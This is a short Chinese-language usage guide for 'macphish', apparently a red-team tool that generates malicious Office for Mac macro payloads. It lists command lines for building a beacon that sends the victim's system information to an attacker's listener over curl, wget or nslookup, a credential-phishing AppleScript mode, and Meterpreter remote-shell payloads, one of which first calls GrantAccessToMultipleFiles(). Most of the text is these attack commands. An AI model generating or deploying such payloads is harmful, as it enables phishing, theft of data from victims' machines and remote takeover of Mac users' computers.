Office for Mac 宏负载生成器
共有4种攻击向量可供选择：
对于 'creds' 方法，macphish 可以直接生成 Applescript 脚本，方便你在 shell 中运行。
执行此负载后，它会向我们的监听主机发送信号，并提供受害者的基本系统信息。生成 beacon 负载的最简单方式是：
$./macphish.py -lh <监听主机>
默认情况下使用 curl，但可以通过修改命令模板来使用其他工具（wget、nslookup）。
$./macphish.py -lh <监听主机> -lp <监听端口> -a creds
生成 meterpreter 负载的最简单方式是：
$./macphish.py -lh <监听主机> -lp <监听端口> -p <负载> -a meterpreter
生成一个先调用 GrantAccessToMultipleFiles() 的 meterpreter 负载：
$./macphish.py -lh <监听主机> -lp <监听端口> -p <负载> -a meterpreter-grant
对于 meterpreter 攻击，目前仅支持 python 负载。
请参见 https://github.com/cldrn/macphish/wiki/Usage